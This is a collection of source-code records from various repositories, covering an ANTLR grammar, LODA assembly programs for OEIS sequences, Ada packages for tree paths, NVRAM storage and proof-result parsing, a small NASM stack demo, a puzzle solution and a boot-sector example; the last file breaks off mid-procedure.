Test_Transforms_Singles_Vectors;
language/dsl/src/main/antlr4/MetaModel.g4
lmouline/rules
0
5835
<reponame>lmouline/rules grammar MetaModel; fragment ESC : '\\' (["\\/bfnrt] | UNICODE) ; fragment UNICODE : 'u' HEX HEX HEX HEX ; fragment HEX : [0-9a-fA-F] ; STRING : '"' (ESC | ~["\\])* '"' | '\'' (ESC | ~["\\])* '\'' ; IDENT : [a-zA-Z_][a-zA-Z_0-9]*; WS : ([ \t\r\n]+ | SL_COMMENT) -> skip ; // skip spaces, tabs, newlines SL_COMMENT : '//' ~('\r' | '\n')* ; NUMBER : [\-]?[0-9]+'.'?[0-9]*; metamodel: ruleDef*; ruleDef: 'rule' STRING condition action 'end'; condition: 'when' ('!')? (term boolOperator term); term: (type '.' attribute) | NUMBER | STRING; boolOperator: ( '==' | '>' | '>=' | '<' | '<=' | '!='); type: IDENT ('.' IDENT)*; attribute: IDENT; action: 'then' task; task: operation ('.'operation)*; operation: IDENT '(' (value(',' value)*)? ')'; value: STRING | '{' task '}';
programs/oeis/188/A188299.asm
karttu/loda
0
164088
<filename>programs/oeis/188/A188299.asm ; A188299: Positions of 1 in A188297; complement of A188298. ; 3,6,9,10,13,16,17,20,23,26,27,30,33,34,37,40,43,44,47,50,51,54,57,58,61,64,67,68,71,74,75,78,81,84,85,88,91,92,95,98,99,102,105,108,109,112,115,116,119,122,125,126,129,132,133,136,139,142,143,146,149,150,153,156,157,160,163,166,167,170,173,174,177,180,183,184,187,190,191,194,197,198,201,204,207,208,211,214,215,218,221,224,225,228,231,232,235,238,241,242,245,248,249,252,255,256,259,262,265,266,269,272,273,276,279,282,283,286,289,290,293,296,297,300,303,306,307,310,313,314,317,320,323,324,327,330,331,334,337,338,341,344,347,348,351,354,355,358,361,364,365,368,371,372,375,378,381,382,385,388,389,392,395,396,399,402,405,406,409,412,413,416,419,422,423,426,429,430,433,436,437,440,443,446,447,450,453,454,457,460,463,464,467,470,471,474,477,480,481,484,487,488,491,494,495,498,501,504,505,508,511,512,515,518,521,522,525,528,529,532,535,536,539,542,545,546,549,552,553,556,559,562,563,566,569,570,573,576,577,580,583,586,587,590,593,594,597,600,603,604 mov $5,$0 add $0,1 pow $0,2 mov $2,$0 mov $3,1 lpb $2,1 mov $1,1 add $3,1 mov $4,$2 trn $4,2 lpb $4,1 add $1,2 add $3,4 trn $4,$3 lpe sub $2,$2 lpe add $1,2 add $1,$5
file-system/root/usr/drivers/trapm.asm
dwildie/cromix-s100computers
2
5966
<reponame>dwildie/cromix-s100computers ; ; ; entry trapm psect trapm(rea,exe) trapm: trap #14 rts end
slae/Stack.nasm
Bigsby/slae
0
100046
<reponame>Bigsby/slae global _start section .text _start: mov eax, 0x66778899 mov ebx, 0x0 mov ecx, 0x0 push ax pop bx push eax pop ecx push word [sample] pop ecx push dword [sample] pop edx mov eax, 1 mov ebx, 0 int 0x80 section .data sample: db 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff, 0x11, 0x22
src/tom/library/sl/ada/positionpackage.adb
rewriting/tom
36
23365
<gh_stars>10-100 with OmegaStrategy, SequenceStrategy, StrategyPackage, Ada.Text_IO; use OmegaStrategy, SequenceStrategy, StrategyPackage, Ada.Text_IO; package body PositionPackage is function makeFromArrayWithoutCopy(arr: IntArrayPtr) return Position is res : Position := (omega => arr); begin return res; end makeFromArrayWithoutCopy; function make return Position is begin if PositionPackage.ROOT = null then PositionPackage.ROOT := new Position'(makeFromArrayWithoutCopy(null)); end if; return PositionPackage.ROOT.all; end make; procedure arraycopy(src: in IntArrayPtr; srcPos: in Natural; dest: in out IntArrayPtr; destPos: in Natural; length: in Natural) is begin dest(destPos..destPos+length-1) := src( srcPos .. srcPos+length-1 ); end arraycopy; function makeFromSubarray(src : not null IntArrayPtr ; srcIndex: Integer ; length: Natural) return Position is arr : IntArrayPtr := null; begin if length /= 0 then arr := new IntArray(0.. length-1); arr.all := src(srcIndex .. srcIndex + length-1); end if; return makeFromArrayWithoutCopy(arr); end makeFromSubarray; function makeFromArray(arr: IntArrayPtr) return Position is begin if arr /= null then return makeFromSubarray(arr, arr'First, arr'Length); else return makeFromArrayWithoutCopy(null); end if; end makeFromArray; function makeFromPath(p : Position) return Position is begin return makeFromArrayWithoutCopy( toIntArray(p) ); end makeFromPath; function clone(pos: Position) return Position is res : Position := Position'(omega => new IntArray'( pos.Omega.all )); begin return res; end clone; function hashCode(p: Position) return Integer is hashCode : Integer := 0; begin if p.omega /= null then for i in p.omega'First..p.omega'Last loop hashCode := hashCode * 31 + p.omega(i); end loop; end if; return hashCode; end hashCode; function equals(p1, p2: Position) return Boolean is cp1 : Position := getCanonicalPath(p1); cp2 : Position := getCanonicalPath(p2); begin if length(cp1) = length(cp2) then for i in 0..length(cp1)-1 loop if cp1.omega( cp1.omega'First + i) /= cp2.omega( cp2.omega'First + i) then return false; end if; end loop; return true; end if; return false; end equals; function compare(p1,path: Position) return Integer is p2 : Position := makeFromPath(path); begin for i in 0..length(p1)-1 loop if i = length(p2) or else p1.omega(p1.omega'First + i) > p2.omega(p2.omega'First + i) then return 1; elsif p1.omega(p1.omega'First + i) < p2.omega(p2.omega'First + i) then return -1; end if; end loop; if length(p1) = length(p2) then return 0; else return -1; end if; end compare; function toString(p: Position) return String is r : access String := new String'("["); begin if p.omega /= null then for I in p.omega'First..p.omega'Last loop r := new String'(r.all & Integer'Image(p.omega(i))); if i /= p.omega'Last then r := new String'(r.all & ","); end if; end loop; end if; r := new String'(r.all & "]"); return r.all; end toString; ------------------------------------------ -- implementation of the Path interface ------------------------------------------ function add(p1, path: Position) return Position is ap, merge : IntArrayPtr := null; begin if length(path) = 0 then return clone(p1); end if; ap := toIntArray(path); merge := new IntArray(0..length(p1)+length(path)-1); arraycopy(p1.omega, 0, merge, 0, length(p1)); arraycopy(ap, 0, merge, length(p1), length(path)); return makeFromArrayWithoutCopy(merge); end add; function sub(p1, p2: Position) return Position is begin return add(inverse(makeFromPath(p2)), p1) ; end sub; function inverse(p:Position) return Position is inv : IntArrayPtr := null; begin if p.omega /= null then inv := new IntArray(0..length(p)-1); for I in 0..length(p)-1 loop inv(length(p)-(i+1)) := -p.omega(i); end loop; end if; return makeFromArrayWithoutCopy(inv); end inverse; function length(p: Position) return Natural is begin if p.omega = null then return 0; else return p.omega'Length; end if; end length; function getHead(p: Position) return Integer is begin return p.omega(p.omega'First); end getHead; function getTail(p: Position) return Position is IndexOutOfBoundsException : exception; begin if length(p) = 0 then put_line("Empty list has no tail"); raise IndexOutOfBoundsException; end if; return makeFromSubarray(p.omega, p.omega'First, length(p)-1); end getTail; function conc(p: Position; i: Integer) return Position is len : Natural := length(p); result : IntArrayPtr := new IntArray(0..len); begin if len /= 0 then arraycopy(p.omega, 0, result, 0, len); end if; result(len) := i; return makeFromArrayWithoutCopy(result); end conc; function getCanonicalPath(p: Position) return Position is len : Integer := length(p); stack : IntArrayPtr := null; top : Integer := -1; begin if len = 0 then return make; end if; stack := new IntArray(0..len-1); for i in 0..len-1 loop if top >=0 and then stack(top) = -p.omega(i) then top := top - 1; else top := top +1 ; stack(top) := p.omega(i); end if; end loop; return makeFromSubarray(stack, 0, top+1); end getCanonicalPath; function toIntArray(p: Position) return IntArrayPtr is len : Integer := length(p); arr : IntArrayPtr := null; begin if len /= 0 then arr := new IntArray(0..len-1); arraycopy(p.omega, 0, arr, 0, len); end if; return arr; end toIntArray; function up(pos: Position) return Position is begin return makeFromSubarray(pos.omega, 0, length(pos) - 1); end up; function down(pos: Position; i: Integer) return Position is arr : IntArrayPtr := new IntArray(0..length(pos)); begin arr(arr'First..arr'Last-1) := pos.omega(pos.omega'Range); arr(arr'Last) := i; return makeFromArrayWithoutCopy(arr); end down; function hasPrefix(pos, pref: Position) return Boolean is prefixTab : IntArray := pref.omega.all; begin if length(pos) < prefixTab'Length then return False; end if; for i in 0 .. prefixTab'Length -1 loop if prefixTab(i) /= pos.omega(i) then return False; end if; end loop; return True; end hasPrefix; function changePrefix(pos, oldprefix, prefix: Position) return Position is arr : IntArrayPtr := new IntArray(0..length(pos)+length(prefix)-length(oldprefix)-1); begin if not hasPrefix(pos, oldprefix) then return pos; end if; arraycopy(prefix.omega, 0, arr, 0, length(prefix)); arraycopy(pos.omega, 0, arr, length(prefix), length(pos)); return makeFromArrayWithoutCopy(arr); end changePrefix; function getOmega(p: Position; v: Strategy'Class) return Strategy'Class is res : StrategyPtr := new Strategy'Class'( v ) ; tmp : StrategyPtr := null; begin for i in p.omega'Last..p.omega'First loop tmp := new Omega; makeOmega(Omega(tmp.all), p.omega(i), res); res := tmp; end loop; return res.all; end; function getOmegaPathAux(pos: Position; v: Strategy'Class; i : Integer) return StrategyPtr is ptr1,ptr2 : StrategyPtr := null; begin if i > length(pos) then return new Strategy'Class'(v); else ptr1 := new Omega; makeOmega(Omega(ptr1.all), pos.omega(i), getOmegaPathAux(pos, v, i+1)); ptr2 := new Strategy'Class'( v ); return SequenceStrategy.make(ptr1, ptr2); end if; end; function getOmegaPath(pos: Position; v: Strategy'Class) return StrategyPtr is begin return getOmegaPathAux(pos, v, 1); end; --function getReplace(pos: Position; t: ObjectPtr) return StrategyPtr is --begin -- return null; --end; --function getSubterm return StrategyPtr is --begin -- return null; --end; end PositionPackage;
programs/oeis/040/A040884.asm
neoneye/loda
22
18313
<gh_stars>10-100 ; A040884: Continued fraction for sqrt(915). ; 30,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60,4,60 mov $1,$0 cmp $0,0 sub $1,$0 gcd $1,2 add $1,12 add $0,$1 mul $0,$1 sub $0,168 add $0,$1 sub $0,12 mul $0,2
oeis/007/A007339.asm
neoneye/loda-programs
11
18044
<filename>oeis/007/A007339.asm ; A007339: a(n) = n! - n^3. ; 1,0,-6,-21,-40,-5,504,4697,39808,362151,3627800,39915469,478999872,6227018603,87178288456,1307674364625,20922789883904,355687428091087,6402373705722168,121645100408825141,2432902008176632000,51090942171709430739,1124000727777607669352,25852016738884976627833,620448401733239439346176,15511210043330985983984375,403291461126605635583982424,10888869450418352160767980317,304888344611713860501503978048,8841761993739701954543615975611,265252859812191058636308479973000 mov $1,$0 seq $0,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters). pow $1,3 sub $0,$1
oeis/050/A050456.asm
neoneye/loda-programs
11
18804
<reponame>neoneye/loda-programs<filename>oeis/050/A050456.asm ; A050456: a(n) = Sum_{d|n, d==1 mod 4} d^4 - Sum_{d|n, d==3 mod 4} d^4. ; Submitted by <NAME> ; 1,1,-80,1,626,-80,-2400,1,6481,626,-14640,-80,28562,-2400,-50080,1,83522,6481,-130320,626,192000,-14640,-279840,-80,391251,28562,-524960,-2400,707282,-50080,-923520,1,1171200,83522,-1502400,6481,1874162,-130320,-2284960,626,2825762,192000,-3418800,-14640,4057106,-279840,-4879680,-80,5762401,391251,-6681760,28562,7890482,-524960,-9164640,-2400,10425600,707282,-12117360,-50080,13845842,-923520,-15554400,1,17879812,1171200,-20151120,83522,22387200,-1502400,-25411680,6481,28398242,1874162,-31300080 add $0,1 mov $2,$0 lpb $0 add $1,$4 mov $3,$2 dif $3,$0 cmp $3,$2 cmp $3,0 mul $3,$0 sub $0,1 pow $3,4 sub $4,$1 add $3,$4 add $1,$3 lpe add $1,1 mov $0,$1
software/modules/nvram.adb
TUM-EI-RCS/StratoX
12
17184
-- Institution: Technische Universitaet Muenchen -- Department: Real-Time Computer Systems (RCS) -- Project: StratoX -- Authors: <NAME> (<EMAIL>) with Interfaces; use Interfaces; with HIL.NVRAM; use HIL.NVRAM; with HIL; use HIL; with Buildinfo; use Buildinfo; with Ada.Unchecked_Conversion; with Fletcher16; package body NVRAM with SPARK_Mode => On, Refined_State => (Memory_State => null) is use type HIL.NVRAM.Address; ---------------------------------- -- instantiate generic Fletcher16 ---------------------------------- function "+" (Left : HIL.Byte; Right : Character) return HIL.Byte; -- provide add function for checksumming characters function "+" (Left : HIL.Byte; Right : Character) return HIL.Byte is val : constant Integer := Character'Pos (Right); rbyte : constant HIL.Byte := HIL.Byte (val); begin return Left + rbyte; end "+"; -- instantiation of checksum package Fletcher16_String is new Fletcher16 (Index_Type => Positive, Element_Type => Character, Array_Type => String); ---------------------------------- -- Types ---------------------------------- -- the header in NVRAM is a checksum, which -- depends on build date/time type NVRAM_Header is record ck_a : HIL.Byte := 0; ck_b : HIL.Byte := 0; end record; for NVRAM_Header use record ck_a at 0 range 0 .. 7; ck_b at 1 range 0 .. 7; end record; -- GNATprove from SPARK 2016 GPL doesn't implement attribute Position, yet HDR_OFF_CK_A : constant HIL.NVRAM.Address := 0; HDR_OFF_CK_B : constant HIL.NVRAM.Address := 1; for NVRAM_Header'Size use 16; ---------------------------------- -- body specs ---------------------------------- function Var_To_Address (var : in Variable_Name) return HIL.NVRAM.Address; -- get address of variable in RAM -- no need for postcondition. function Hdr_To_Address return HIL.NVRAM.Address; -- get address of header in RAM -- no need for postcondition. function Get_Default (var : in Variable_Name) return HIL.Byte; -- read default value of variable procedure Make_Header (newhdr : out NVRAM_Header); -- generate a new header for this build procedure Write_Header (hdr : in NVRAM_Header); -- write a header to RAM procedure Read_Header (framhdr : out NVRAM_Header); -- read header from RAM. procedure Clear_Contents; -- set all variables in NVRAM to their default procedure Validate_Contents; -- check whether the entries in NVRAM are valid for the current -- compilation version of this program. if not, set all of them -- to their defaults (we cannot defer this, since the program could -- reset at any point in time). ---------------------------------- -- Bodies ---------------------------------- function Hdr_To_Address return HIL.NVRAM.Address is (0); -- header's address is fixed at beginning of NVRAM ----------------- -- Make_Header ----------------- procedure Make_Header (newhdr : out NVRAM_Header) is build_date : constant String := Short_Datetime; crc : constant Fletcher16_String.Checksum_Type := Fletcher16_String.Checksum (build_date); begin newhdr := (ck_a => crc.ck_a, ck_b => crc.ck_b); end Make_Header; ------------------ -- Write_Header ------------------ procedure Write_Header (hdr : in NVRAM_Header) is Unused_Header : NVRAM_Header; -- GNATprove from SPARK 2017 onwards can do this: -- HDR_OFF_CK_A : constant HIL.NVRAM.Address := -- Unused_Header.ck_a'Position; -- HDR_OFF_CK_B : constant HIL.NVRAM.Address := -- Unused_Header.ck_b'Position; begin HIL.NVRAM.Write_Byte (addr => Hdr_To_Address + HDR_OFF_CK_A, byte => hdr.ck_a); HIL.NVRAM.Write_Byte (addr => Hdr_To_Address + HDR_OFF_CK_B, byte => hdr.ck_b); end Write_Header; ----------------- -- Read_Header ----------------- procedure Read_Header (framhdr : out NVRAM_Header) is Unused_Header : NVRAM_Header; -- GNATprove from SPARK 2017 onwards can do this: -- HDR_OFF_CK_A : constant HIL.NVRAM.Address := -- Unused_Header.ck_a'Position; -- HDR_OFF_CK_B : constant HIL.NVRAM.Address := -- Unused_Header.ck_b'Position; begin HIL.NVRAM.Read_Byte (addr => Hdr_To_Address + HDR_OFF_CK_A, byte => framhdr.ck_a); HIL.NVRAM.Read_Byte (addr => Hdr_To_Address + HDR_OFF_CK_B, byte => framhdr.ck_b); end Read_Header; ----------------- -- Get_Default ----------------- function Get_Default (var : in Variable_Name) return HIL.Byte is (Variable_Defaults (var)); -------------------- -- Clear_Contents -------------------- procedure Clear_Contents is begin for V in Variable_Name'Range loop declare defaultval : constant HIL.Byte := Get_Default (V); begin Store (variable => V, data => defaultval); end; end loop; end Clear_Contents; ----------------------- -- Validate_Contents ----------------------- procedure Validate_Contents is hdr_fram : NVRAM_Header; hdr_this : NVRAM_Header; same_header : Boolean; begin Read_Header (hdr_fram); Make_Header (hdr_this); same_header := hdr_fram = hdr_this; if not same_header then Clear_Contents; Write_Header (hdr_this); end if; end Validate_Contents; --------------------- -- Var_To_Address --------------------- function Var_To_Address (var : in Variable_Name) return HIL.NVRAM.Address is (HIL.NVRAM.Address ((NVRAM_Header'Size + 7) / 8) -- ceiling bit -> bytes + Variable_Name'Pos (var)); ------------ -- Init ------------ procedure Init is num_boots : HIL.Byte; begin HIL.NVRAM.Init; Validate_Contents; -- maintain boot counter: FIXME: for some unknown reason this -- isn't reliable. Does the FRAM fail sometimes? Load (VAR_BOOTCOUNTER, num_boots); if num_boots < HIL.Byte'Last then num_boots := num_boots + 1; Store (VAR_BOOTCOUNTER, num_boots); end if; end Init; ---------------- -- Self_Check ---------------- procedure Self_Check (Status : out Boolean) is begin HIL.NVRAM.Self_Check (Status); end Self_Check; -------------- -- Load -------------- procedure Load (variable : Variable_Name; data : out HIL.Byte) is begin HIL.NVRAM.Read_Byte (addr => Var_To_Address (variable), byte => data); end Load; procedure Load (variable : Variable_Name; data : out Integer_8) is tmp : HIL.Byte; function Byte_To_Int8 is new Ada.Unchecked_Conversion (HIL.Byte, Integer_8); begin HIL.NVRAM.Read_Byte (addr => Var_To_Address (variable), byte => tmp); data := Byte_To_Int8 (tmp); end Load; procedure Load (variable : in Variable_Name; data : out Float) is bytes : Byte_Array_4 := (others => 0); -- needs init, because SPARK cannot prove via call begin for index in Natural range 0 .. 3 loop HIL.NVRAM.Read_Byte (addr => Var_To_Address (Variable_Name'Val (Variable_Name'Pos (variable) + index)), byte => bytes (bytes'First + index)); end loop; data := HIL.toFloat (bytes); end Load; procedure Load (variable : in Variable_Name; data : out Unsigned_32) is bytes : Byte_Array_4 := (others => 0); -- needs init, because SPARK cannot prove via call begin for index in Natural range 0 .. 3 loop HIL.NVRAM.Read_Byte (addr => Var_To_Address (Variable_Name'Val (Variable_Name'Pos (variable) + index)), byte => bytes (bytes'First + index)); end loop; data := HIL.Bytes_To_Unsigned32 (bytes); end Load; ------------ -- Store ------------ procedure Store (variable : Variable_Name; data : in HIL.Byte) is begin HIL.NVRAM.Write_Byte (addr => Var_To_Address (variable), byte => data); end Store; procedure Store (variable : in Variable_Name; data : in Integer_8) is function Int8_To_Byte is new Ada.Unchecked_Conversion (Integer_8, HIL.Byte); begin HIL.NVRAM.Write_Byte (addr => Var_To_Address (variable), byte => Int8_To_Byte (data)); end Store; procedure Store (variable : in Variable_Name; data : in Float) is bytes : constant Byte_Array_4 := HIL.toBytes (data); begin for index in Natural range 0 .. 3 loop HIL.NVRAM.Write_Byte (addr => Var_To_Address (Variable_Name'Val (Variable_Name'Pos (variable) + index)), byte => bytes (bytes'First + index)); end loop; end Store; procedure Store (variable : in Variable_Name; data : in Unsigned_32) is bytes : constant Byte_Array_4 := HIL.Unsigned32_To_Bytes (data); begin for index in Natural range 0 .. 3 loop HIL.NVRAM.Write_Byte (addr => Var_To_Address (Variable_Name'Val (Variable_Name'Pos (variable) + index)), byte => bytes (bytes'First + index)); end loop; end Store; ------------ -- Reset ------------ procedure Reset is hdr_this : NVRAM_Header; begin Make_Header (hdr_this); Clear_Contents; Write_Header (hdr_this); end Reset; end NVRAM;
solutions/20-multiplication workshop/loop unrolled - speed optimized.asm
Ernesto-Alvarez/HRM-Puzzles
0
92824
<filename>solutions/20-multiplication workshop/loop unrolled - speed optimized.asm -- HUMAN RESOURCE MACHINE PROGRAM -- COMMENT 0 a: INBOX COPYTO 0 JUMPZ e COPYFROM 9 COPYTO 2 INBOX COPYTO 1 JUMPZ l SUB 0 JUMPN c COMMENT 3 b: COPYFROM 1 ADD 2 COPYTO 2 BUMPDN 0 JUMPZ f COPYFROM 1 ADD 2 COPYTO 2 BUMPDN 0 JUMPZ g COPYFROM 1 ADD 2 COPYTO 2 BUMPDN 0 JUMPZ i JUMP b COMMENT 1 c: d: COPYFROM 0 ADD 2 COPYTO 2 BUMPDN 1 JUMPZ k COPYFROM 0 ADD 2 COPYTO 2 BUMPDN 1 JUMPZ h COPYFROM 0 ADD 2 COPYTO 2 BUMPDN 1 JUMPZ j JUMP d COMMENT 2 e: INBOX f: g: h: i: j: k: COPYFROM 2 l: OUTBOX JUMP a DEFINE COMMENT 0 eJzTZGBgeKtmoOWmfm7uFDXvZVPUvm0ECjGomficlDa+4qZmEuAvYGUZv8ORp366298FR7xsTjT5PL/c 6/v88q5A72W7Ap2naIZktmqGHHEtD+ayTAzM01sf0CoHMoO70EFbrMgy3qL0brVzmcpWv3KTbZsrDuzf XOFzEiSftTLk9prlIhNLFnHHZC5Mt89cCNHn1ucuxbpAQ2LN8p8i7DteCTOMglEwCmgGAMiIPaY; DEFINE COMMENT 1 eJwzY2BgKOB+8KSA+/7BKzz9Zd/4PROURW6bMkn+FNkv9YjxmswrYT4lQY10pTy9WpW1RtdVXptNUZO0 CtSQtOLXum0qpZ2n905viYK7vrnkdsPdAiXGvbxnjeO4PMwlxBeat8odtjLQsrXTbvxgp/YbaBXD81Au y+ehBSWfwp72JkXqLBGJsjlxJ+b7FdPYC4/DE3zfcCbe/Lop9f9/kNrduf//Rxaw/9xbuOpTVEX26aiK OxGMFW2OX8t+mYPkO3pum3b0aDda9T7t/dHXOCOw33vZgYlFuxYum7iHYRSMglFAFAAA0V5afw; DEFINE COMMENT 2 eJyzYWBg+C5uGT9PvCI5QGJb+mnpgpJ58n9qM7SMJ//Ub5zRZZo07b2Z8iQP82s9rJYVbayW0g0y1v1l Mta/o7ZbzgvZbhngv9B8mtNP/XjdBfqKmsXarXKBGuaStSoaEt/lp8q/kXPQPi0dYSch/dh9pUR+INA6 ho9+Blq9vvVBvb5nq/74z+iQC/67oDx4xuqK6KbdS+OLdt1NUdnqmPZto2PajrX/07NWiGYtmKWY/bWv KtupsCp7baho1mcPkDkPe7yXqXQ7Fb5pTbd/0+qvI9nCAAYphY8YXeriuNpbcrklu+bwxUyYw1c/+7Tg 9gU/RRhGwSgYBSgAAOAnX6w; DEFINE COMMENT 3 eJzzYmBgmMT3/PIkvn+HVwisn80o2NFeKOyZUCgc4N8uGmFnKdYqFyCxhj9AggEMmCQZGLZI3hLSl/2k 2iHba8CseMQ1XYnJ64BSfuB1lb7g6zoRdj/1DbRKjLcolhi7S7FamksetnLQFrD6HTXNTGRivYnOknqT HWtBZv3xX+q82F8qtsnnT22Tz7m56wOSdx4N6jp7J+T55b5Q05sXox88MY198MQx7uAjzkSXW/2pG/ZF ZEQtP5H1ta8154gryAyl6rVGStVZKybVvjs0qXbmuW91pjd5G4vvxkz4fgUk370kT892qYP2jhWCGkZr BDWENj5ScTj6SVX04muz4xfT7fMuTnOqOGUZb3qEp/7CrqCpO3fsn5OwQ2eJ5m7rpeWHeBeJXuRd9OWq 9zKGUTAKhikAAAz5e+E; DEFINE LABEL 0 <KEY>CPUlyk; DEFINE LABEL 1 eJyTYmBg0JeN170m43ILyGQwsuWyfGKr5HPTxqrppk3wjm7bB0+e2PK9sLV78AQkv4/rbc0kvrc188Tn lz/WnV9+yKihNN5xfvlhp7NVIPlUIe9lzIqVK1cbeC+bZue9zNi1c9URrxmrGYgA8+QfMarqfGRy1w+X XqD/SCXTaJrTWWMhbzWTxGJD08AiYswYBaNgFJAGAEW/MzA; DEFINE LABEL 2 <KEY>; DEFINE LABEL 6 eJxzYmBgaJTaa1spW5o2TW52Y59i3aw+RaOVJ5Rz97ioSt5ZreR8Rl+xactbxdLV8uq8fWVaDK2ftO81 v9JjaJUxmTzpkrn7Qh4r2Y0d1hFHOqzbzgGNYxDzC1mVGiK44m9Y5iKpiPmzb0To9VdGOLc/CPUuexm0 pKDU73nRTx/vslYPvf7j7izzn3iUrk7wWrL1o3/EEamI1LOZcalnQeZMTjvptiE9JkQnMzM2Lftz9a38 eydA4gX1K1zP11vP8G40Pwzix0661/xwAm/fwwmP5/6bOH3N9Ck+u9fMMD+8Y/69EzpL9h4/usz88KPl G/Y5rjBambbMesbseaK1z2Z5lwlP8y6zmLKh8t/Ee80Mo2AUjFAAAHSSd6I; DEFINE LABEL 9 <KEY>;
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/aliasing1.ads
best08618/asylo
7
26729
package Aliasing1 is type Rec is record I : Integer; end record; type Ptr is access all Integer; R : Rec; function F (P : Ptr) return Integer; end Aliasing1;
osdev-babysteps/01-boot/baby01.asm
bzamecnik/low-level-playground
0
166248
; https://wiki.osdev.org/Babystep1 ; ; It just boots and shows a blinking cursor. ; ; nasm baby01.asm -f bin -o baby01.bin ; qemu-system-i386 -fda baby01.bin ; ; or just `make baby01` ; ; We have to compile to flat binary (ELF doesn't work). We provide the image to ; QEMU as floppy disk image or hard-disk image (`-hda`). `-kernel` doesn't work ; since it needs multiboot header. ; hang: ; infinite loop jmp hang ; zero padding up to 1 block of 512 minut two bytes for the boot signature ; this is a repeated zero byte ; $ = address of this line (https://www.nasm.us/doc/nasmdoc3.html#section-3.5) ; $$ = address of this section times 510-($-$$) db 0 ; boot signature db 0x55 db 0xAA
src/core/spat-proof_item.adb
HeisenbugLtd/spat
20
13591
<filename>src/core/spat-proof_item.adb ------------------------------------------------------------------------------ -- Copyright (C) 2020 by Heisenbug Ltd. (<EMAIL>) -- -- This work is free. You can redistribute it and/or modify it under the -- terms of the Do What The Fuck You Want To Public License, Version 2, -- as published by Sam Hocevar. See the LICENSE file for more details. ------------------------------------------------------------------------------ pragma License (Unrestricted); with Ada.Containers.Vectors; with SPAT.Proof_Attempt.List; package body SPAT.Proof_Item is package Checks_Lists is new Ada.Containers.Vectors (Index_Type => Positive, Element_Type => Proof_Attempt.List.T, "=" => Proof_Attempt.List."="); package Checks_By_Duration is new Checks_Lists.Generic_Sorting ("<" => Proof_Attempt.List."<"); --------------------------------------------------------------------------- -- "<" --------------------------------------------------------------------------- -- FIXME: We should be able to sort by Max_Success_Time, too. overriding function "<" (Left : in T; Right : in T) return Boolean is use type Proof_Item_Ids.Id; begin -- First by total time. if Left.Total_Time /= Right.Total_Time then return Left.Total_Time > Right.Total_Time; end if; -- Total time does not differ, try max time. if Left.Max_Time /= Right.Max_Time then return Left.Max_Time > Right.Max_Time; end if; -- By Rule (i.e. VC_LOOP_INVARIANT, VC_PRECONDITION, etc. pp.) if Left.Rule /= Right.Rule then return Left.Rule < Right.Rule; end if; -- By Severity (i.e. "info", "warning", ...) if Left.Severity /= Right.Severity then -- TODO: We should get a list of severities and actually sort them by -- priority. For now, textual is all we have. return Left.Severity < Right.Severity; end if; -- Locations are equal, go for last resort, the unique id. if Entity_Location."=" (X => Entity_Location.T (Left), Y => Entity_Location.T (Right)) then return Left.Id < Right.Id; end if; -- By location (i.e. file:line:column). return Entity_Location."<" (Left => Entity_Location.T (Left), Right => Entity_Location.T (Right)); end "<"; --------------------------------------------------------------------------- -- Add_To_Tree --------------------------------------------------------------------------- procedure Add_To_Tree (Object : in JSON_Value; Version : in File_Version; Tree : in out Entity.Tree.T; Parent : in Entity.Tree.Cursor) is pragma Unreferenced (Version); -- Only for precondition. -- Collect information about the timing of dependent attempts. Max_Proof : Time_And_Steps := None; Max_Success : Time_And_Steps := None; Total_Time : Duration := 0.0; Checks_List : Checks_Lists.Vector; Check_Tree : constant JSON_Array := Object.Get (Field => Field_Names.Check_Tree); Suppressed_Msg : constant Justification := (if Object.Has_Field (Field => Field_Names.Suppressed) then Justification (Subject_Name'(Object.Get (Field => Field_Names.Suppressed))) else Justification (Null_Name)); -- FIXME: Missing type check. begin -- Walk along the check_tree array to find all proof attempts and their -- respective times. for I in 1 .. GNATCOLL.JSON.Length (Arr => Check_Tree) loop declare Attempts : Proof_Attempt.List.T; Element : constant JSON_Value := GNATCOLL.JSON.Get (Arr => Check_Tree, Index => I); begin if Preconditions.Ensure_Field (Object => Element, Field => Field_Names.Proof_Attempts, Kind => JSON_Object_Type) then declare Attempt_List : constant JSON_Value := Element.Get (Field => Field_Names.Proof_Attempts); ------------------------------------------------------------ -- Mapping_CB ------------------------------------------------------------ procedure Mapping_CB (Name : in UTF8_String; Value : in JSON_Value); ------------------------------------------------------------ -- Mapping_CB ------------------------------------------------------------ procedure Mapping_CB (Name : in UTF8_String; Value : in JSON_Value) is begin if Proof_Attempt.Has_Required_Fields (Object => Value) then declare Attempt : constant Proof_Attempt.T := Proof_Attempt.Create (Prover => Prover_Name (To_Name (Name)), Object => Value); use type Proof_Attempt.Prover_Result; begin Attempts.Append (New_Item => Attempt); Max_Proof := Time_And_Steps' (Time => Duration'Max (Max_Proof.Time, Attempt.Time), Steps => Prover_Steps'Max (Max_Proof.Steps, Attempt.Steps)); if Attempt.Result = Proof_Attempt.Valid then Max_Success := Time_And_Steps' (Time => Duration'Max (Max_Success.Time, Attempt.Time), Steps => Prover_Steps'Max (Max_Success.Steps, Attempt.Steps)); end if; Total_Time := Total_Time + Attempt.Time; end; end if; end Mapping_CB; begin -- We use Map_JSON_Object here, because the prover name is -- dynamic and potentially unknown to us, so we can't do a -- lookup. GNATCOLL.JSON.Map_JSON_Object (Val => Attempt_List, CB => Mapping_CB'Access); end; end if; -- Handle the "trivial_true" object (since GNAT_CE_2020. if Preconditions.Ensure_Field (Object => Element, Field => Field_Names.Transformations, Kind => JSON_Object_Type) then declare Transformation : constant JSON_Value := Element.Get (Field => Field_Names.Transformations); begin if Transformation.Has_Field (Field => Field_Names.Trivial_True) then Attempts.Append (New_Item => Proof_Attempt.Trivial_True); -- No timing updates needed here, as we assume 0.0 for -- trivially true proofs. end if; end; end if; -- If not empty, add the current check tree to our list. if not Attempts.Is_Empty then Attempts.Sort_By_Duration; -- FIXME: Potentially unstable. Checks_List.Append (New_Item => Attempts); end if; end; end loop; -- Sort checks list descending by duration. Checks_By_Duration.Sort (Container => Checks_List); declare PI_Node : Entity.Tree.Cursor; begin -- Allocate node for our object. Tree.Insert_Child (Parent => Parent, Before => Entity.Tree.No_Element, New_Item => Proof_Item_Sentinel'(Entity.T with null record), Position => PI_Node); -- Now insert the whole object into the tree. declare PA_Node : Entity.Tree.Cursor; 